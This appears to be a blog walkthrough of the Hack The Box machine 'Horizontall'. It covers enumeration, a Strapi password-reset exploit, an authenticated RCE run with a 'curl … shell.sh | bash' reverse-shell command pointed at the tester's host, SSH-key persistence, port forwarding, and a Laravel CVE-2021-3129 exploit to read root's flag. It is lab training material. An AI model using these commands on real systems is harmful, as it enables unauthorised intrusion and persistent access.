Hack the Box - Horizontall
Updated: Apr 20
I found this machine really difficult for an easy machine. We started off with some web enumeration which opened the door to another subdomain after inspecting the source code. From here we leveraged CVE 50239 to exploit the strapi system for access as admin. From here we learn about an authenticated RCE for a shell on the target machine as user strapi. In order to obtain some persistence we upload our public SSH key and connect in. From here we learn about some internal ports and utilize port forwarding on port 8000. This reveals the Laravel application where we find CVE 2021-3129 for access as root.
SSH for for forwarding
Sub domain enumeration
We start off with some basic enumeration that reveals a narrow attack surface with only 2 ports open. Generally speaking, port 22 is only used after we receive initial access. With port 80 acting as our only way forwards, we will have to dive deep into our web enumeration.
Running a more in-depth scan reveals the webserver has a DNS lookup name of horizontall.htb and runs nginx 1.14.
We try to resolve the web page with no luck so we append the host name "horizontall.htb" to our /etc/hosts file and try again.
Our resolved webpage allows us to move forwards with our engagement. An initial review of the website reveals that nothing interactive is present. At this point we pivot to directory busting and
We inspect the source code of the webpage. We find a java script file containing some code that has been represented in one long string.
We take this code and drop it in a beautifier and it pops out our formatted results below. Scrolling through the code eventually reveals a new subdomain. http://api.prod.horizontall.htb/reviews
Browsing over to the webpage shows a lovely welcome message.
Running a directory finder reveals many more directories!
Strapi enumeration and exploitation
Browsing to the admin directory provides us with a strapi login page.
What is strapi?
Strapi is an open source Node.js headless CMS that saves developers allot of development time while giving them the freedom to use their favorite tools and frameworks. Strapi allows content editors to stream content delivery across any device.
Browsing to the /admin/init folder we see our strapi version which we had already identified earlier as well.
Performing some research eventually brought me to a common strapi exploit designed to reset the admin password in order to grant back end access. This exploit also provides us with our JWT one time authentication token which we will keep for later.
We login in and find the admin landing page and start enumerating from here.
I targeted the upload file function and uploaded a few files. The hope here is that we can execute a malicious php file by the web service on the target host. This is a common process in any pentesting exam or hack the box machine.
Trying to browse to the newly uploaded file through the view link beside the file, brings us to the following endpoint. It seems the host is trying to reference the file locally and encoding the name of the file along the way.
From here I coped the uploads location and the encoded file name. I was able to pass this to the public host and it retrieved our file.
Trying to upload and call a php web shell did not work.
From here I take a step back and look at all the exploits for strapi 3 beta 17.4 on the snyk.io website.
Trying a quick unauthenticated curl request didn't work.
Moving onto Arbitrary Code Injection
Initially this did not work.
I realized that I did not need to specify a port after the local host as the script had already defined one. Nor did I need a listener.
Great I have code injection here.
From here I created a bash shell script
Created a python host server the shell.sh
We use our exploit and send a command to curl and execute our shell script to make a connection back to our listener.
python3 exploit177.py http://api-prod.horizontall.htb:80 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjQ0ODM2MDc3LCJleHAiOjE2NDc0MjgwNzd9.q3ayalIs_uw1Nqmt56NxYk_LP9NciA9tI-DvXBFoaYk "curl http://10.10.14.83:8000/shell.sh | bash" 10.10.14.83
There it is, we have our reverse shell.
First we want to establish some persistence. We are not able to establish an upgraded shell so we shift over in an attempt to upload our SSH key.
We generate a key with ssh-keygen -f strapi
-f determines the file name.
We then on the target host create a .ssh folder with the authorized_keys inside. We set permissions 600 on authorized_keys and echo our SSH key into id_rsa within authorized_keys.
We can then set permissions on our private key to 600 and make a connection to the target with
ssh -i strapi firstname.lastname@example.org
From here we enumerated and see the internall port 8000. We will need to port forward for this.
$ ssh -L 8001:127.0.0.1:8000 email@example.com -i strapi
Below I was able to forward the port 8000 to 8001
The bottom right shows us the version.
What is Laravel?
Laravel is an open source php web application framework indeed to assist in the development of web application using the model-view-controller architectural patter based on symfony.
What is Symfony?
A set of reuseable PHP components and a PHP framework to aid in web application, API's and web services.
What is the model-view-controller? It is a model that helps to illustrate, divide and map the flow of data between from the internal representation to the representation to the user. It is designed for the graphical user interface and popular for web applications.
If Laravel is in debugging mode we can access code and sensitive data in the backend. Some research showed me that browsing to /profiles will resolve is the page is indeed in debugging mode.
I was not able to gain anything from the /profiles page.
In short this is a deserialization technique.
I had to install the package phpggc which is a library for unserialized payloads as well as the tool to generate them from command line. However this did not work and I eventually switched gears to another exploit which provided us with root.
git clone https://github.com/nth347/CVE-2021-3129_exploit.git
chmod +x exploit.py
./exploit.py http://localhost:8000 Monolog/RCE1 id
./exploit.py http://localhost:8000 Monolog/RCE1 "cat /root/root.txt"